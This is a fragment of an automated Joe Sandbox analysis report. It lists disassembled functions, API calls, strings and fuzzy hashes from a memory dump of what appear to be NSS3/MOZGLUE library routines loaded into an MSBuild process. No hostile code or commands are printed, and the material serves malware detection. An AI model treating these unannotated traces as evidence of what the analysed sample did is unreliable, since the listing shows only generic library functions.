API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: a18a214b9c6f85e2888254765f0735b7da1c54473a12f8c3469914a3b1753ff9
Instruction ID: 9f8fbe33d8d5ebd01264e86910c8d037aeb12b47cb15dcafc5088369aff28ec3
Opcode Fuzzy Hash: a18a214b9c6f85e2888254765f0735b7da1c54473a12f8c3469914a3b1753ff9
Instruction Fuzzy Hash: BE01AFA7B081105BE701926FAC95BAB31588FC765CF084072E90AD7F41F616DD2E92E3

Function 6CC949C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6CC85F34,00000A20), ref: 6CC949EC

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6CC85F34,00000A20,?,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC949F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6CC85F34,00000A20,?,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC94A06
free.MOZGLUE(?,?,?,?,?,6CC85F34,00000A20), ref: 6CC94A16
free.MOZGLUE(000A2CB6,?,?,?,?,6CC85F34,00000A20), ref: 6CC94A1C

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: 9f143f5cf6b0462068c5a6f6713d65b5189d9bb132e6d53fa1de07e7155047c4
Instruction ID: b142682c689b204fdfa71bc138323cf4f79ae515ca91cb0e3e0509dc94e33c25
Opcode Fuzzy Hash: 9f143f5cf6b0462068c5a6f6713d65b5189d9bb132e6d53fa1de07e7155047c4
Instruction Fuzzy Hash: 56011AB6A001049FDB00DF69DCC5C967BBCEF8A25974584A5EA09DB702F731E948CBA1

Function 6CD0ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CD0A6D8), ref: 6CD0AE0D
free.MOZGLUE(?), ref: 6CD0AE14
DeleteCriticalSection.KERNEL32(6CD0A6D8), ref: 6CD0AE36
free.MOZGLUE(?), ref: 6CD0AE3D
free.MOZGLUE(00000000,00000000,?,?,6CD0A6D8), ref: 6CD0AE47

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 9df085a06cce4b32c23927da9e65e1010fcde073d970fd498c04ae151a8372f0
Instruction ID: ee2c7794c14755e6a4a7b6f234926675a9d34d880672474b4f1c95cfb3b3dd9a
Opcode Fuzzy Hash: 9df085a06cce4b32c23927da9e65e1010fcde073d970fd498c04ae151a8372f0
Instruction Fuzzy Hash: 26F0F675301A01A7DA10AF68D849917777CBFC67B87104328E36E83940D731E019C7D1

Function 6CB86C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB86D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB86D20
database corruption, xrefs: 6CB86D2A
%s at line %d of [%.10s], xrefs: 6CB86D2F

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 5d16fad52fcec55338b82e5c619af3809b76768e252eef409c34235588ba3d92
Instruction ID: 3f6cb986dd04671500166de6ae20d656af5a203f7ddd2b16bddbf69064566940
Opcode Fuzzy Hash: 5d16fad52fcec55338b82e5c619af3809b76768e252eef409c34235588ba3d92
Instruction Fuzzy Hash: F5210330A143559BC720CF19C841B5AB7F6EF84308F24892DD85A9BF51E771F949CBA2

Function 6CCBCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CCBCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCBCC7B), ref: 6CCBCD7A
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCD8E
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCDA5
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CCBCCB5
memcpy.VCRUNTIME140(6CD514F4,6CD502AC,00000090), ref: 6CCBCCD3
memcpy.VCRUNTIME140(6CD51588,6CD502AC,00000090), ref: 6CCBCD2B

Part of subcall function 6CBD9AC0: socket.WSOCK32(?,00000017,6CBD99BE), ref: 6CBD9AE6
Part of subcall function 6CBD9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CBD99BE), ref: 6CBD9AFC

Part of subcall function 6CBE0590: closesocket.WSOCK32(6CBD9A8F,?,?,6CBD9A8F,00000000), ref: 6CBE0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CCBCCB0

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 42b02ac9b0d244d060d8c4e553679eb7848b553963abc7d97db86e4589969a3b
Instruction ID: 5a0e329119acced3591622a2e29fbb6ea9b1087abc0ae8a71681fe736ef38b38
Opcode Fuzzy Hash: 42b02ac9b0d244d060d8c4e553679eb7848b553963abc7d97db86e4589969a3b
Instruction Fuzzy Hash: BD1193F2B012409EFB009F6E9C46B473ABCA35635CF941129E61ADBB65E771D8048BD2

Function 6CB7A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CCAA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CCCC3A2,?,?,00000000,00000000), ref: 6CCAA528
Part of subcall function 6CCAA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCAA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB7A94F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7A939
database corruption, xrefs: 6CB7A943
%s at line %d of [%.10s], xrefs: 6CB7A948

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 4e89a9787447e3fca0ef01f7a228ee3786c995df22da8cb65f39e2de698c95be
Instruction ID: 5c60e379da3974a45c6911c907827b4567246e954764dc3ee9447935f02d17a0
Opcode Fuzzy Hash: 4e89a9787447e3fca0ef01f7a228ee3786c995df22da8cb65f39e2de698c95be
Instruction Fuzzy Hash: D9014E31F002086BD710DBA5DC15F9BB7F4DB8430DF454439EE5957A80E771E9198BA1

Function 6CC08850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CC10715), ref: 6CC08859
PR_NewLock.NSS3 ref: 6CC08874

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CC0888D

Strings

NSS, xrefs: 6CC08887

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 73e45400aa671ebae2869be1b436b35fd245f994fa935ef12cab7bbbe5136dad
Instruction ID: a3ed34ff2935c62b6e56e6cce55e97c635579d75b5d60445b4e7e46ac347948a
Opcode Fuzzy Hash: 73e45400aa671ebae2869be1b436b35fd245f994fa935ef12cab7bbbe5136dad
Instruction Fuzzy Hash: 36F09666F4162023F21027696C06F8765986F5675DF048031E90CA7B82FA53951CC3F6

Function 6CBEC9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6CBECB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBECB4B
sqlite3_free.NSS3 ref: 6CBECB70
sqlite3_result_error_nomem.NSS3 ref: 6CBECB99

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: c8ebab8ae4dc23640b544f51ba30d11bfb386d8f4b3bc4481af825e5eb975059
Instruction ID: 2d13c059a052b77abeed7def837bc2fe252461e7278ed5087adf13a1a47bc048
Opcode Fuzzy Hash: c8ebab8ae4dc23640b544f51ba30d11bfb386d8f4b3bc4481af825e5eb975059
Instruction Fuzzy Hash: 7251C032A08B898AD711EF34C04026FFBF4FF8ABD8F109A0DE8956A555EB348485C757

Function 6CCB4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CB985D2,00000000,?,?), ref: 6CCB4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB50D6

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: d79a7689bb6ef117fbbdd445459f6b8114cc01a0dfd28082883b917c17e44d21
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: DB417FB2A002118FCB18CF58DCD179AB7E1BF4831871D4669D84ADBB02F775E891CB91

Function 6CD0A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CD0A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CD0A662), ref: 6CD0A69E
Part of subcall function 6CD0A690: PR_NewCondVar.NSS3(?), ref: 6CD0A6B4

PR_IntervalNow.NSS3 ref: 6CD0A8C6
EnterCriticalSection.KERNEL32(?), ref: 6CD0A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0A944
PR_SetPollableEvent.NSS3(?), ref: 6CD0A94F

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: d634907225d4ad0eb4f907273a5af6a42899c230cf20afef56577bcc7418eaf7
Instruction ID: 973ff49e24b8d9215c6878154bc19b390116fbb2619a7c16d1d5996be3a44d45
Opcode Fuzzy Hash: d634907225d4ad0eb4f907273a5af6a42899c230cf20afef56577bcc7418eaf7
Instruction Fuzzy Hash: BF4134B4B01A02DFC704CF29D58099AFBF5FF48318765852AE949CBB21E731E850CB90

Function 6CBF6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBF6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBF6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBF6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CD18FE0), ref: 6CBF6CFE

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: a9a3938b1719d4b9ca5ced59300364cc8d3c0177763918c7ffe0efba9f9ec743
Instruction ID: f128fb5abf1b79f2cbe20fbf0467fe5ed195894237dbc428cafba5d7c2856227
Opcode Fuzzy Hash: a9a3938b1719d4b9ca5ced59300364cc8d3c0177763918c7ffe0efba9f9ec743
Instruction Fuzzy Hash: AE31C1B5A002169FEB08CF65C891ABFBBF5EF85248B10442DDD15D7700FB31991ACBA0

Function 6CD04F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CD04F5D
free.MOZGLUE(?), ref: 6CD04F74
free.MOZGLUE(?), ref: 6CD04F82
GetLastError.KERNEL32 ref: 6CD04F90

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 524d7fada2dd8874356256c16c7bd6977878bb592a937021da8ea046ecb7eee9
Instruction ID: 6ce79389c0d2f7c505cfadecdd95675ba494ddaa58d8cc6f7f6ae3be98832674
Opcode Fuzzy Hash: 524d7fada2dd8874356256c16c7bd6977878bb592a937021da8ea046ecb7eee9
Instruction Fuzzy Hash: BD3107B5B002099BEB01DF6DDC81FDAB7F8EF85358F044229ED15A7791DB34E90486A1

Function 6CC66DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CC66E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC66E57

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CC66E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CC66EAA

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 00eb1753cf43036cef42dc78c0b741d32423383970a39e2f4a7c12cac17a6d89
Instruction ID: 952672f42272a410c5f42a53466691e7ed822aaf7d3ea608b6fedce902e6b8dc
Opcode Fuzzy Hash: 00eb1753cf43036cef42dc78c0b741d32423383970a39e2f4a7c12cac17a6d89
Instruction Fuzzy Hash: D531C171610D12EEDB141F36DE44396B7A4AB1131EF10063DD49AD6E80FB317858CB81

Function 6CC62880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CC62896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CC62932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC6294C
free.MOZGLUE(?), ref: 6CC62955

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 908792b5dd72c099f57e37c8d1dec122ba62b19ad8ac0bcfaebd14e46e26da6b
Instruction ID: 17c64ae92513c9cfba7175639dd7e2f5e0d52939f7e50a2696c7d0fac1f70a38
Opcode Fuzzy Hash: 908792b5dd72c099f57e37c8d1dec122ba62b19ad8ac0bcfaebd14e46e26da6b
Instruction Fuzzy Hash: 2321B2B66006019FE7209B2BED89F4777E9AFC4359F054538E44A87F61FB31E418C651

Function 6CC9A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CC82AE9,00000000,0000065C), ref: 6CC9A91D

Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
Part of subcall function 6CC3ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
Part of subcall function 6CC3ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
Part of subcall function 6CC3ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CC82AE9,00000000,0000065C), ref: 6CC9A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CC82AE9,00000000,0000065C), ref: 6CC9A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CC9A952

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 3fbd1d1c9bb20d75c4680e5614ae1f4553fb35e309f567ce90fd8b6959c6b0bb
Instruction ID: 26424470cab0783aced365deaab9b5e8de3e1991ab27d05a75e44018c6ee970d
Opcode Fuzzy Hash: 3fbd1d1c9bb20d75c4680e5614ae1f4553fb35e309f567ce90fd8b6959c6b0bb
